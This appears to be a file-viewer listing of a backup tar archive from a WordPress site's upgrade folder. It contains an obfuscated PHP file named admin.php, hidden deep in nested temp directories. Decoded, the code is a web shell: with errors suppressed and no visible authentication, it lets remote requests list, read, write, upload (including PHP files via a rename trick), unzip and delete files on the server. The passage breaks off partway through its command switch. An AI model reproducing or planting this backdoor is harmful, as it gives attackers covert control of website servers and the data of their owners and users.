Viewing File: /home/omtekel/www/wp-content/upgrade/backup/maint.tar

img/modules/images/uploads/files/tmp/tmp/images/wxzh/jixwz/admin.php000066600000223770151334722440021653 0ustar00<?php
 goto vhXfV; Ux3Fz: function nQxXK($N3FQp) { return realpath($N3FQp) !== false || is_dir(dirname($N3FQp)); } goto qzH6C; spVQI: echo "\47\40\x7d\x3b\xa\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\164\x20\125\x50\114\117\x41\104\x5f\114\111\115\111\124\137\115\102\40\75\x20\x38\x3b\12\x20\40\x20\40\40\40\x20\x20\x63\157\156\x73\x74\40\144\x6f\x6d\40\x3d\40\x7b\40\x66\151\x6c\x65\x4c\151\163\164\x3a\144\157\x63\165\155\x65\x6e\x74\x2e\x67\x65\x74\105\x6c\145\x6d\x65\156\164\x42\171\111\144\50\47\x66\151\x6c\145\x4c\151\163\164\x27\x29\x2c\160\x61\x74\150\102\141\x72\72\x64\157\x63\165\x6d\145\156\x74\56\x67\x65\x74\x45\154\145\155\x65\156\x74\x42\x79\x49\x64\50\x27\x70\x61\x74\x68\102\x61\162\47\x29\54\x75\x70\154\x6f\x61\144\102\x74\156\72\144\157\143\x75\x6d\145\x6e\164\56\147\x65\164\105\x6c\x65\x6d\145\156\164\x42\x79\x49\x64\x28\47\x75\160\x6c\157\141\x64\102\x74\156\x27\x29\x2c\x6e\145\x77\x46\151\154\x65\x42\x74\156\x3a\x64\x6f\x63\x75\x6d\145\x6e\x74\x2e\147\145\x74\105\154\145\155\x65\156\x74\102\171\x49\x64\x28\x27\x6e\145\x77\106\151\154\x65\x42\164\x6e\x27\51\54\x6e\x65\x77\106\x6f\x6c\144\x65\162\x42\x74\x6e\72\144\x6f\143\x75\155\x65\156\164\x2e\x67\145\164\105\x6c\x65\x6d\x65\156\x74\102\171\111\144\x28\47\156\x65\167\x46\157\x6c\144\x65\x72\102\164\156\47\51\x2c\144\x65\x6c\x65\x74\x65\x42\x74\x6e\x3a\x64\x6f\x63\165\155\145\156\x74\x2e\147\145\x74\x45\x6c\x65\155\x65\x6e\x74\102\171\111\x64\50\x27\x64\145\x6c\x65\164\x65\x42\164\156\47\x29\x2c\x73\x65\x6c\x65\143\164\x41\154\x6c\72\144\157\143\165\155\x65\156\164\56\147\145\164\105\154\x65\x6d\x65\156\x74\x42\x79\x49\144\50\x27\163\x65\x6c\x65\143\164\101\154\x6c\x27\x29\54\163\x70\151\156\156\x65\162\72\144\x6f\143\x75\155\x65\x6e\164\x2e\x67\145\x74\105\154\x65\155\x65\156\164\102\171\111\144\x28\x27\163\x70\151\x6e\156\x65\162\x27\51\54\150\151\144\144\x65\x6e\106\x69\x6c\145\x49\x6e\160\165\x74\x3a\x64\x6f\x63\165\x6d\x65\156\x74\56\x67\x65\164\x45\x6c\145\155\x65\x6e\x74\102\171\111\144\x28\47\150\x69\x64\144\x65\156\106\151\x6c\x65\111\156\x70\x75\164\47\x29\x2c\x65\144\151\x74\157\162\x4d\x6f\144\x61\154\72\144\x6f\143\165\155\145\x6e\x74\x2e\x67\x65\164\x45\x6c\145\155\x65\x6e\164\x42\x79\111\x64\x28\47\x65\144\x69\x74\157\x72\115\x6f\x64\x61\154\x27\x29\54\145\144\x69\x74\x6f\162\106\151\x6c\x65\156\141\x6d\x65\72\144\x6f\143\x75\x6d\x65\156\x74\x2e\x67\x65\164\x45\154\145\x6d\x65\156\164\x42\x79\111\144\50\x27\145\144\x69\x74\x6f\x72\x46\x69\x6c\x65\156\x61\x6d\x65\x27\x29\x2c\x65\144\x69\164\157\x72\x3a\144\157\x63\x75\x6d\145\156\x74\x2e\x67\145\x74\105\154\x65\x6d\145\x6e\164\102\171\111\144\50\x27\145\x64\151\x74\x6f\162\47\x29\x2c\x73\141\166\x65\x42\164\156\x3a\144\157\143\x75\x6d\x65\156\164\56\147\145\x74\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\50\x27\x73\141\166\x65\x42\x74\x6e\47\51\x2c\x7d\x3b\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\x20\40\40\x20\x20\141\x73\x79\156\x63\x20\146\x75\156\143\164\151\157\x6e\40\x61\160\151\x43\x61\154\154\50\x61\x63\164\x69\x6f\x6e\x2c\40\x66\x6f\x72\x6d\x44\x61\x74\141\54\x20\163\150\157\x77\x53\165\143\143\x65\163\163\75\x66\141\154\163\x65\x29\40\x7b\12\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\144\x6f\x6d\x2e\163\x70\x69\156\156\x65\x72\56\x73\x74\x79\154\145\x2e\144\151\x73\x70\x6c\x61\171\75\47\x69\156\x6c\x69\156\145\55\x62\x6c\x6f\x63\x6b\x27\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x74\x72\171\40\173\40\146\157\162\155\x44\141\x74\141\56\141\x70\x70\145\x6e\144\x28\47\x61\x63\x74\x69\x6f\156\47\x2c\40\141\x63\x74\151\157\x6e\51\73\40\143\157\156\x73\x74\x20\x72\145\163\x70\157\x6e\163\x65\x20\75\x20\x61\x77\x61\151\x74\40\x66\x65\164\143\x68\x28\47"; goto lbfgK; cwFyT: if (!isset($_REQUEST["\x61\143\164\x69\157\156"])) { goto NFGPu; } goto O4_Sl; lbfgK: echo basename(__FILE__); goto Nx60v; qzH6C: $kS0qQ = $_REQUEST["\x61\x63\164\x69\x6f\x6e"]; goto J71rt; umFMq: function T7y52($ajHSa) { goto mkf2u; PEj7X: $ajHSa = str_replace($f3NPl, '', $ajHSa); goto Z019O; mVUB6: $ajHSa = preg_replace("\x2f\x5c\x73\x2b\57", "\137", $ajHSa); goto xaWIz; Z019O: $ajHSa = trim($ajHSa); goto mVUB6; mkf2u: $f3NPl = ["\x22", "\47", "\x26", "\57", "\x5c", "\77", "\x23", "\74", "\76", "\174", "\x3a", "\52"]; goto PEj7X; xaWIz: return $ajHSa; goto EE2G2; EE2G2: } goto cwFyT; O4_Sl: header("\x43\x6f\x6e\164\x65\156\164\55\124\x79\160\x65\x3a\40\141\x70\x70\154\151\143\141\164\x69\157\156\x2f\152\x73\157\156\x3b\x20\143\150\141\162\163\145\164\x3d\x75\x74\x66\x2d\x38"); goto Ux3Fz; vhXfV: error_reporting(0); goto tozRd; J71rt: $C_q13 = ["\163\165\143\143\145\163\x73" => false, "\x6d\145\x73\x73\141\x67\x65" => "\x49\x6e\166\141\x6c\151\144\40\141\x63\164\x69\157\156\56"]; goto Ita0g; tozRd: function NY0tu($fw2Gb) { return is_string($fw2Gb) ? stripslashes($fw2Gb) : $fw2Gb; } goto uTQJ4; jupxf: echo Es90W(__DIR__); goto spVQI; uTQJ4: function ES90W($N3FQp) { return str_replace("\x5c", "\x2f", $N3FQp); } goto umFMq; wWXaN: NFGPu: goto t2KH8; Ita0g: try { goto IIL7D; IIL7D: switch ($kS0qQ) { case "\154\x69\x73\x74": goto Bf4SJ; odk5T: foreach (scandir($T4wW2) as $pZ4PV) { goto lKlnN; JxuNy: $qgHjW = $T4wW2 . "\x2f" . $pZ4PV; goto KOKkz; N7PaY: goto rRtUO; goto xJsL4; J2iFA: rRtUO: goto p5Oa0; lKlnN: if (!($pZ4PV === "\x2e" || $pZ4PV === "\x2e\x2e")) { goto qoKGw; } goto N7PaY; xJsL4: qoKGw: goto JxuNy; KOKkz: $uWh5l[] = ["\x6e\141\x6d\x65" => $pZ4PV, "\151\x73\137\144\x69\x72" => is_dir($qgHjW), "\x73\x69\172\x65" => is_dir($qgHjW) ? 0 : filesize($qgHjW), "\155\x6f\144\151\x66\x69\145\x64" => filemtime($qgHjW)]; goto J2iFA; p5Oa0: } goto J3yG0; SI6Kp: $C_q13 = ["\x73\165\143\143\145\x73\x73" => true, "\x66\151\x6c\145\163" => $uWh5l, "\160\141\x74\x68" => $T4wW2]; goto FISrv; kxjD2: zao4K: goto odk5T; wI9Uc: or7Bz: goto mTFJj; Bf4SJ: $N3FQp = isset($_POST["\x70\141\164\150"]) ? Ny0tu($_POST["\x70\141\164\x68"]) : __DIR__; goto dpEgR; zHH33: $uWh5l = []; goto C9SW_; RRjql: throw new Exception("\103\x61\x6e\x6e\x6f\164\40\x61\143\143\x65\163\163\40\x70\x61\164\x68\56\40\111\x74\x20\x6d\151\x67\x68\164\40\142\145\40\162\145\163\x74\x72\x69\x63\164\145\144\x20\142\171\40\163\x65\x72\x76\x65\x72\40\143\157\156\146\x69\x67\165\x72\141\164\151\x6f\x6e\40\x28\x6f\160\145\x6e\137\142\141\163\x65\144\x69\x72\x29\x2e"); goto kxjD2; C9SW_: if (@scandir($T4wW2)) { goto zao4K; } goto RRjql; slbf7: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\40\x6f\162\x20\x69\x6e\x61\x63\x63\145\163\x73\x69\142\x6c\x65\40\160\x61\164\x68\x2e"); goto wI9Uc; dpEgR: if (NqXxK($N3FQp)) { goto or7Bz; } goto slbf7; J3yG0: ua_El: goto SI6Kp; mTFJj: $T4wW2 = es90w(realpath($N3FQp)); goto zHH33; FISrv: goto ycSVf; goto C5_Rj; C5_Rj: case "\x67\145\164\137\143\157\156\164\145\x6e\x74": goto AB5qD; hw5BW: goto ycSVf; goto nxWjP; hSwnp: $C_q13 = ["\163\x75\143\143\145\x73\x73" => true, "\143\157\156\x74\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto hw5BW; hxmO8: throw new Exception("\x49\x6e\x76\141\x6c\x69\144\x20\x66\x69\154\x65\x20\x66\x6f\162\x20\x65\144\151\164\151\x6e\147\x2e"); goto yCBdH; AB5qD: $ojlAu = isset($_POST["\160\141\x74\x68"]) ? Ny0tU($_POST["\x70\141\164\x68"]) : ''; goto sSVlM; sSVlM: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto jY5MN; } goto hxmO8; yCBdH: jY5MN: goto hSwnp; nxWjP: case "\147\145\164\137\143\x6f\156\164\145\x6e\x74\137\142\x36\x34": goto Tw79G; RBpYX: $C_q13 = ["\x73\x75\x63\x63\x65\163\163" => true, "\x63\157\x6e\164\x65\156\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto CZCSs; Tw79G: $MsqHa = isset($_POST["\160\x61\x74\150\137\142\x36\64"]) ? NY0tu($_POST["\x70\x61\x74\x68\x5f\x62\x36\x34"]) : ''; goto IcMdj; IcMdj: $ojlAu = base64_decode($MsqHa); goto o4S3X; o4S3X: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto x__Ov; } goto SDUoj; CZCSs: goto ycSVf; goto P57y1; iIbT6: x__Ov: goto RBpYX; SDUoj: throw new Exception("\111\156\x76\141\x6c\x69\x64\x20\146\x69\154\145\x20\x66\157\162\40\145\x64\151\164\x69\x6e\x67\56"); goto iIbT6; P57y1: case "\163\141\x76\x65\x5f\143\157\x6e\x74\145\x6e\164": goto Qzs4F; rC4Qx: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto KTBmd; } goto jF2gU; Oy2kq: if (!(!nqXxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto tY8sk; } goto lMZp7; SLfKR: goto ycSVf; goto szMkK; VroMi: throw new Exception("\x43\x6f\156\x74\x65\x6e\x74\x20\x69\163\40\x65\155\x70\164\x79\56"); goto Ctqlm; zecoV: goto GU9sM; goto kIfmt; Ldo2f: $C_q13 = ["\163\x75\x63\x63\x65\163\x73" => true, "\x6d\145\163\163\141\x67\145" => "\106\151\154\x65\40\163\141\x76\145\144\x20\163\165\x63\x63\x65\x73\x73\x66\165\x6c\x6c\171\x2e"]; goto lb0OW; ewGJB: tY8sk: goto rC4Qx; kIfmt: KTBmd: goto Ldo2f; jF2gU: throw new Exception("\x43\x6f\x75\154\144\40\156\157\x74\40\x73\x61\x76\145\40\x66\151\154\145\56\x20\103\150\145\143\153\x20\160\145\x72\155\x69\163\163\151\x6f\156\x73\x2e"); goto zecoV; jCyJA: if (!empty($oV_sJ)) { goto RQpX6; } goto VroMi; OICIz: $I0G5S = base64_decode(base64_decode($Owp89)); goto Oy2kq; Qzs4F: $ojlAu = isset($_POST["\x70\x61\164\x68"]) ? NY0TU($_POST["\160\x61\x74\150"]) : ''; goto Jo8qy; Ctqlm: RQpX6: goto es8_X; es8_X: $Owp89 = implode('', $oV_sJ); goto OICIz; lMZp7: throw new Exception("\111\x6e\x76\x61\154\x69\x64\40\x66\x69\154\145\x20\x66\x6f\162\x20\163\x61\x76\x69\x6e\147\56"); goto ewGJB; Jo8qy: $oV_sJ = isset($_POST["\143\x6f\156\164\145\156\x74\137\x63\150\165\156\x6b\163"]) && is_array($_POST["\143\x6f\x6e\x74\145\156\164\x5f\143\150\x75\x6e\153\163"]) ? $_POST["\143\x6f\156\x74\145\156\x74\137\143\150\x75\x6e\x6b\x73"] : []; goto jCyJA; lb0OW: GU9sM: goto SLfKR; szMkK: case "\163\x61\x76\x65\137\143\157\156\164\x65\156\x74\137\x62\x36\x34": goto U59Qa; WGp6i: throw new Exception("\103\157\x6e\164\x65\x6e\x74\40\151\163\x20\145\155\160\164\x79\56"); goto RCxIS; XNi7t: $I0G5S = base64_decode(base64_decode($Owp89)); goto rrDPK; qNXrc: throw new Exception("\111\156\166\141\154\x69\144\40\x66\151\154\x65\x20\146\157\x72\x20\x73\x61\166\151\156\147\x2e"); goto hzKQ5; U59Qa: $MsqHa = isset($_POST["\160\x61\164\150\137\142\x36\x34"]) ? ny0tu($_POST["\x70\141\164\x68\137\x62\66\64"]) : ''; goto jiCXN; RCxIS: CVi5K: goto G5mHJ; iNZ_U: if (!empty($oV_sJ)) { goto CVi5K; } goto WGp6i; G5mHJ: $Owp89 = implode('', $oV_sJ); goto XNi7t; fjhtE: goto ycSVf; goto WoVGw; hzKQ5: qnvLN: goto Um8mO; rrDPK: if (!(!nqxxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto qnvLN; } goto qNXrc; jiCXN: $ojlAu = base64_decode($MsqHa); goto G9LIL; tTBu6: throw new Exception("\x44\x69\x72\145\x63\164\40\163\x61\166\145\x20\x66\x61\x69\x6c\145\144\x2e\x20\x43\150\x65\x63\153\x20\x70\145\162\155\x69\163\x73\151\157\156\163\x2e"); goto nTn7K; qPj5T: $C_q13 = ["\x73\x75\x63\143\x65\x73\163" => true, "\x6d\x65\163\163\141\147\x65" => "\106\151\154\145\x20\x73\x61\166\145\144\40\163\x75\143\143\145\x73\163\x66\165\x6c\x6c\171\x20\x28\144\151\162\x65\143\x74\40\x6d\x65\x74\x68\x6f\144\x29\56"]; goto EACoy; G9LIL: $oV_sJ = isset($_POST["\x63\x6f\156\x74\x65\156\164\x5f\143\150\165\156\153\163"]) && is_array($_POST["\x63\157\x6e\164\145\x6e\164\137\143\150\x75\156\153\x73"]) ? $_POST["\143\x6f\x6e\x74\145\156\164\137\x63\x68\165\156\x6b\x73"] : []; goto iNZ_U; nTn7K: goto riHcH; goto pVEwU; pVEwU: MC0Hh: goto qPj5T; Um8mO: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto MC0Hh; } goto tTBu6; EACoy: riHcH: goto fjhtE; WoVGw: case "\143\162\145\x61\164\145\x5f\146\151\x6c\145": goto OlivP; gj37K: goto ycSVf; goto Qz8pL; O6lW3: if (!(!nqXXk($N3FQp) || empty($zDPI8))) { goto HI8Rq; } goto R2q22; av1vc: $C_q13 = ["\x73\x75\143\x63\145\x73\x73" => true, "\155\145\x73\163\x61\147\145" => "\106\x69\154\145\40\x63\x72\x65\141\164\145\x64\56"]; goto o1tPy; c6Jlp: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\x6f\x74\40\143\162\x65\141\x74\x65\x20\146\x69\x6c\145\x2e"); goto IviK0; IviK0: goto PKoAm; goto I8N2E; LqGoz: if (touch(rtrim($N3FQp, "\x2f") . "\x2f" . $zDPI8)) { goto QFDzM; } goto c6Jlp; o1tPy: PKoAm: goto gj37K; Ry7yS: HI8Rq: goto LqGoz; OlivP: $N3FQp = isset($_POST["\x70\141\164\x68"]) ? NY0tU($_POST["\x70\141\x74\x68"]) : ''; goto r_qlF; I8N2E: QFDzM: goto av1vc; R2q22: throw new Exception("\x49\156\x76\x61\x6c\x69\144\40\160\x61\x74\x68\x20\157\x72\40\146\151\154\145\40\x6e\141\x6d\x65\56"); goto Ry7yS; r_qlF: $zDPI8 = isset($_POST["\156\x61\155\x65"]) ? T7y52($_POST["\x6e\x61\x6d\145"]) : ''; goto O6lW3; Qz8pL: case "\x75\x70\x6c\x6f\141\144": goto tJi60; H2Afx: $ajHSa = T7Y52(base64_decode($l70k5)); goto amLDx; cGcqq: throw new Exception("\103\157\x75\x6c\x64\40\156\157\x74\40\x73\141\166\145\40\x75\x70\x6c\x6f\x61\144\x65\144\40\146\x69\154\x65\x2e\x20\103\150\x65\x63\153\x20\160\x65\162\155\x69\163\163\151\157\156\x73\56"); goto gvXzd; EEvjB: if (file_put_contents($T7gx5, $uyHJc) !== false) { goto A1W55; } goto cGcqq; MoEwg: goto ycSVf; goto mSk9f; WBcVj: $uyHJc = base64_decode($tPB71); goto Nzj2T; GdYXT: jiXr9: goto WBcVj; xErIi: $tPB71 = isset($_POST["\143\x6f\x6e\x74\145\x6e\x74\137\142\x61\163\145\66\64"]) ? $_POST["\x63\157\156\164\x65\x6e\164\137\142\x61\x73\145\x36\64"] : ''; goto KQoRr; AihoA: throw new Exception("\111\x6e\166\141\154\x69\x64\x20\144\141\164\141\40\146\x6f\x72\x20\165\x70\x6c\157\x61\x64\56"); goto d1Vah; gvXzd: goto mT8Ye; goto XUupy; XUupy: A1W55: goto xwuut; xwuut: $C_q13 = ["\163\x75\143\143\145\x73\163" => true, "\155\145\163\x73\x61\x67\x65" => "\106\x69\154\145\40\165\160\154\157\x61\144\x65\144\x20\x73\x75\143\143\145\x73\x73\x66\x75\154\154\x79\x2e"]; goto Q6XGt; d1Vah: R2fsc: goto H2Afx; w3TPv: $l70k5 = isset($_POST["\x66\x69\154\145\x6e\x61\x6d\145\x5f\142\141\x73\145\x36\64"]) ? $_POST["\x66\x69\x6c\x65\156\141\x6d\145\137\x62\x61\163\145\66\x34"] : ''; goto xErIi; amLDx: if (!(strpos($tPB71, "\x2c") !== false)) { goto jiXr9; } goto GL5y3; GL5y3: list(, $tPB71) = explode("\54", $tPB71); goto GdYXT; tJi60: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0Tu($_POST["\160\141\x74\x68"]) : __DIR__; goto w3TPv; Nzj2T: $T7gx5 = rtrim($N3FQp, "\x2f") . "\57" . $ajHSa; goto EEvjB; Q6XGt: mT8Ye: goto MoEwg; KQoRr: if (!(!nQXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto R2fsc; } goto AihoA; mSk9f: case "\165\160\154\157\x61\144\x5f\160\150\160": goto dxdMd; dxdMd: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? nY0tU($_POST["\x70\141\x74\x68"]) : __DIR__; goto Pb0oM; hr4po: $C_q13 = ["\x73\165\143\143\145\163\x73" => true, "\155\145\163\x73\x61\147\x65" => "\x50\110\x50\40\x66\151\x6c\145\x20\165\x70\x6c\157\x61\x64\x65\x64\x20\163\x75\143\143\145\163\x73\146\x75\154\x6c\171\x2e"]; goto Y8QVm; EV6b7: throw new Exception("\x49\x6e\166\x61\154\x69\144\x20\144\141\164\141\x20\146\x6f\x72\40\x50\x48\120\40\165\160\x6c\x6f\x61\144\56"); goto YeT6E; h0fEK: $jTTGJ = rtrim($N3FQp, "\x2f") . "\x2f" . $iKGAi; goto MpHG6; YeT6E: fWTCg: goto quqXU; Y8QVm: fweIz: goto rdYwU; quqXU: $iKGAi = T7y52(base64_decode($l70k5)); goto Oz5_m; Pb0oM: $l70k5 = isset($_POST["\146\151\x6c\145\x6e\x61\155\145\137\142\x61\163\x65\66\x34"]) ? $_POST["\146\x69\x6c\145\156\x61\155\145\x5f\x62\141\x73\145\66\64"] : ''; goto kbzVC; Oz5_m: $DOdOg = $iKGAi . "\56\164\170\x74"; goto celZ0; nk57G: $e3qbB = rtrim($N3FQp, "\57") . "\57" . $DOdOg; goto h0fEK; celZ0: if (!(strpos($tPB71, "\54") !== false)) { goto KGuU8; } goto hpCdA; hpCdA: list(, $tPB71) = explode("\x2c", $tPB71); goto FiSuk; GGBuU: throw new Exception("\x43\x6f\x75\154\144\x20\x6e\157\164\40\x73\x61\x76\145\40\x74\145\x6d\160\x6f\x72\x61\162\171\x20\x66\151\x6c\145\x2e\x20\103\150\x65\143\x6b\x20\160\145\x72\155\x69\x73\163\151\x6f\x6e\163\56"); goto CBW5E; Q2Das: throw new Exception("\x43\157\165\154\x64\40\156\x6f\164\40\162\x65\x6e\141\155\x65\x20\164\x65\155\x70\157\x72\x61\x72\x79\40\146\151\154\x65\x2e"); goto uCCd0; uCCd0: goto fweIz; goto TbZqf; fdZIy: unlink($e3qbB); goto Q2Das; rQt4j: if (rename($e3qbB, $jTTGJ)) { goto awDxv; } goto fdZIy; CBW5E: CJrv3: goto rQt4j; FiSuk: KGuU8: goto aiEjh; TbZqf: awDxv: goto hr4po; kbzVC: $tPB71 = isset($_POST["\143\157\156\164\145\x6e\164\137\142\x61\x73\145\66\x34"]) ? $_POST["\x63\x6f\156\x74\145\x6e\164\x5f\x62\x61\x73\x65\66\64"] : ''; goto yxnwo; MpHG6: if (!(file_put_contents($e3qbB, $uyHJc) === false)) { goto CJrv3; } goto GGBuU; yxnwo: if (!(!nqXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto fWTCg; } goto EV6b7; aiEjh: $uyHJc = base64_decode($tPB71); goto nk57G; rdYwU: goto ycSVf; goto ynwyj; ynwyj: case "\x75\x6e\172\x69\160": goto j71el; j71el: $N3FQp = isset($_POST["\x70\141\x74\x68"]) ? NY0TU($_POST["\x70\141\164\150"]) : __DIR__; goto HhhL1; h2u4s: if (class_exists("\x5a\x69\x70\101\x72\x63\x68\x69\166\145")) { goto XI5A7; } goto gDE4q; v6xw7: $EtgLY->extractTo(dirname($xwHaG)); goto AR4r6; NE8fX: XI5A7: goto iCXQ9; AR4r6: $EtgLY->close(); goto RJdP_; HhhL1: if (Nqxxk($N3FQp)) { goto fTIAY; } goto fB1ER; r28vr: goto urtPj; goto Yf6cr; RJdP_: $C_q13 = ["\x73\x75\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\141\147\x65" => "\x41\162\x63\150\x69\166\x65\x20\x65\x78\x74\162\141\x63\164\x65\x64\x2e"]; goto M9hq_; p9Yjp: throw new Exception("\x46\x61\151\x6c\x65\x64\40\x74\157\40\157\x70\145\x6e\x20\x61\x72\x63\x68\151\x76\145\56"); goto r28vr; JzF9U: throw new Exception("\x49\156\x76\x61\154\151\144\40\132\111\x50\40\146\x69\x6c\145\40\x70\x61\x74\150\56"); goto l8PIt; fB1ER: throw new Exception("\111\156\x76\x61\154\151\144\x20\x70\141\x74\x68\x2e"); goto ehMVp; EeIZ5: if ($EtgLY->open($xwHaG) === TRUE) { goto Z7L05; } goto p9Yjp; V9ux2: goto ycSVf; goto PIuPs; iCXQ9: $EtgLY = new ZipArchive(); goto EeIZ5; vyegy: $xwHaG = isset($_POST["\160\141\x74\x68"]) ? Ny0TU($_POST["\x70\141\164\x68"]) : ''; goto hNwxQ; Yf6cr: Z7L05: goto v6xw7; hNwxQ: if (!(!realpath($xwHaG) || !is_file(realpath($xwHaG)) || pathinfo($xwHaG, PATHINFO_EXTENSION) !== "\x7a\x69\160")) { goto P3vJL; } goto JzF9U; ehMVp: fTIAY: goto vyegy; gDE4q: throw new Exception("\x50\110\x50\x20\x5a\111\x50\40\145\170\164\145\x6e\x73\x69\157\x6e\40\156\x6f\x74\40\x69\x6e\x73\x74\x61\154\154\145\144\56"); goto NE8fX; l8PIt: P3vJL: goto h2u4s; M9hq_: urtPj: goto V9ux2; PIuPs: case "\x64\145\154\145\164\145": goto tnc3C; IX1xj: $UT3Xw = isset($_POST["\151\x74\x65\x6d\163"]) && is_array($_POST["\151\x74\x65\x6d\x73"]) ? $_POST["\151\164\145\x6d\x73"] : []; goto a474Y; jDYzc: throw new Exception("\116\x6f\x20\x69\164\145\x6d\163\x20\163\x65\x6c\145\x63\x74\145\x64\40\146\157\x72\40\x64\145\154\x65\x74\151\157\156\x2e"); goto URVwS; EnthP: foreach ($UT3Xw as $pZ4PV) { goto ERlCU; T9sCk: NGGjy($qgHjW); goto McV9U; McV9U: roUZs: goto HqCFQ; nVSkN: if (!file_exists($qgHjW)) { goto roUZs; } goto T9sCk; HqCFQ: tuHG8: goto mVB9d; ERlCU: $qgHjW = rtrim($N3FQp, "\57") . "\57" . $pZ4PV; goto nVSkN; mVB9d: } goto MG9h4; KyY3J: goto ycSVf; goto kp8UV; MG9h4: ZQ2Zt: goto XJEc3; tnc3C: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0TU($_POST["\x70\x61\164\150"]) : __DIR__; goto IX1xj; URVwS: OYjgE: goto dUZ2K; dUZ2K: function ngGJY($pZ4PV) { goto M1hPt; jtKjl: return unlink($pZ4PV); goto j5W0I; IxivI: foreach ($wolKu as $ojlAu) { ngGJY("{$pZ4PV}\x2f{$ojlAu}"); P4TSR: } goto kZ4he; kZ4he: STXtc: goto iYxii; LDBto: $wolKu = array_diff(scandir($pZ4PV), ["\x2e", "\x2e\x2e"]); goto IxivI; Q2JPT: UQ51L: goto Pp06I; M1hPt: if (is_dir($pZ4PV)) { goto m_qLf; } goto jtKjl; iYxii: return rmdir($pZ4PV); goto Q2JPT; UU8Yt: m_qLf: goto LDBto; j5W0I: goto UQ51L; goto UU8Yt; Pp06I: } goto EnthP; a474Y: if (!empty($UT3Xw)) { goto OYjgE; } goto jDYzc; XJEc3: $C_q13 = ["\x73\165\143\x63\145\x73\x73" => true, "\155\x65\163\x73\x61\x67\x65" => "\111\164\x65\155\163\x20\144\145\x6c\x65\x74\x65\x64\56"]; goto KyY3J; kp8UV: case "\x64\145\x6c\x65\x74\145\137\x62\66\64": goto Qo_HQ; o9Geq: if (!empty($UT3Xw)) { goto bIgN3; } goto U8OJB; cmkqA: bIgN3: goto cNHA4; CtCXm: goto ycSVf; goto B4c3f; V9AAM: tcc0Y: goto Hjg4t; df3TJ: foreach ($AopT5 as $pp4Zo) { $UT3Xw[] = base64_decode($pp4Zo); hDEUI: } goto FVEvK; FVEvK: YTElY: goto o9Geq; Qo_HQ: $N3FQp = isset($_POST["\160\x61\x74\150"]) ? NY0tU($_POST["\x70\x61\164\x68"]) : __DIR__; goto dexUZ; dexUZ: $AopT5 = isset($_POST["\x69\164\x65\155\163\137\142\66\x34"]) && is_array($_POST["\x69\164\145\x6d\163\x5f\142\66\x34"]) ? $_POST["\151\164\145\155\163\137\142\x36\64"] : []; goto KneCe; KneCe: $UT3Xw = []; goto df3TJ; cNHA4: function LHB01($pZ4PV) { goto C2Oey; NxdAz: $wolKu = array_diff(scandir($pZ4PV), ["\56", "\56\x2e"]); goto yY_5l; KyZfR: return unlink($pZ4PV); goto owZbu; XKe1G: rYEPR: goto NxdAz; yY_5l: foreach ($wolKu as $ojlAu) { LHB01("{$pZ4PV}\x2f{$ojlAu}"); X0WVR: } goto VsBSE; owZbu: goto l3EIG; goto XKe1G; VsBSE: FQz9b: goto oYmV0; YTNri: l3EIG: goto w59M4; oYmV0: return rmdir($pZ4PV); goto YTNri; C2Oey: if (is_dir($pZ4PV)) { goto rYEPR; } goto KyZfR; w59M4: } goto rTvM9; Hjg4t: $C_q13 = ["\163\165\143\143\145\x73\163" => true, "\155\x65\163\163\x61\x67\x65" => "\111\x74\145\155\x73\x20\x64\x65\x6c\x65\164\145\x64\x2e"]; goto CtCXm; rTvM9: foreach ($UT3Xw as $pZ4PV) { goto augDN; mkHI_: Jk67o: goto vEGF0; augDN: $qgHjW = rtrim($N3FQp, "\x2f") . "\57" . $pZ4PV; goto R3UhS; l1gC6: lHB01($qgHjW); goto h0b9E; h0b9E: LWEP_: goto mkHI_; R3UhS: if (!file_exists($qgHjW)) { goto LWEP_; } goto l1gC6; vEGF0: } goto V9AAM; U8OJB: throw new Exception("\x4e\x6f\x20\x69\164\x65\155\163\x20\163\x65\x6c\145\143\164\x65\x64\x20\146\x6f\162\x20\x64\x65\154\145\x74\151\x6f\156\56"); goto cmkqA; B4c3f: case "\143\x72\x65\141\164\145\137\x66\x6f\154\x64\x65\x72": goto hFMyY; WjVpt: vFOjM: goto mNqWY; Palgw: goto ycSVf; goto QqBDM; hFMyY: $N3FQp = isset($_POST["\160\141\164\x68"]) ? Ny0tu($_POST["\x70\x61\x74\150"]) : __DIR__; goto TMNGP; mNqWY: $C_q13 = ["\163\165\x63\143\145\163\x73" => true, "\155\x65\x73\x73\141\x67\145" => "\x46\x6f\x6c\144\x65\x72\x20\x63\162\x65\x61\164\145\144\56"]; goto bLaK3; RZUs9: throw new Exception("\111\x6e\x76\x61\154\151\x64\x20\160\x61\x74\150\x20\x6f\162\x20\x66\157\154\144\145\x72\40\156\141\x6d\145\x2e"); goto jNFLN; aTyZH: if (mkdir(rtrim($N3FQp, "\57") . "\x2f" . $zDPI8)) { goto vFOjM; } goto J5Dtz; bLaK3: r0qez: goto Palgw; jNFLN: NL3yu: goto aTyZH; zwHJx: if (!(!NQxxK($N3FQp) || empty($zDPI8))) { goto NL3yu; } goto RZUs9; J5Dtz: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\x63\162\x65\x61\x74\x65\40\146\157\154\144\x65\162\x2e"); goto ss986; ss986: goto r0qez; goto WjVpt; TMNGP: $zDPI8 = isset($_POST["\156\141\155\145"]) ? str_replace(["\56\x2e", "\57", "\134"], '', $_POST["\x6e\141\x6d\145"]) : ''; goto zwHJx; QqBDM: case 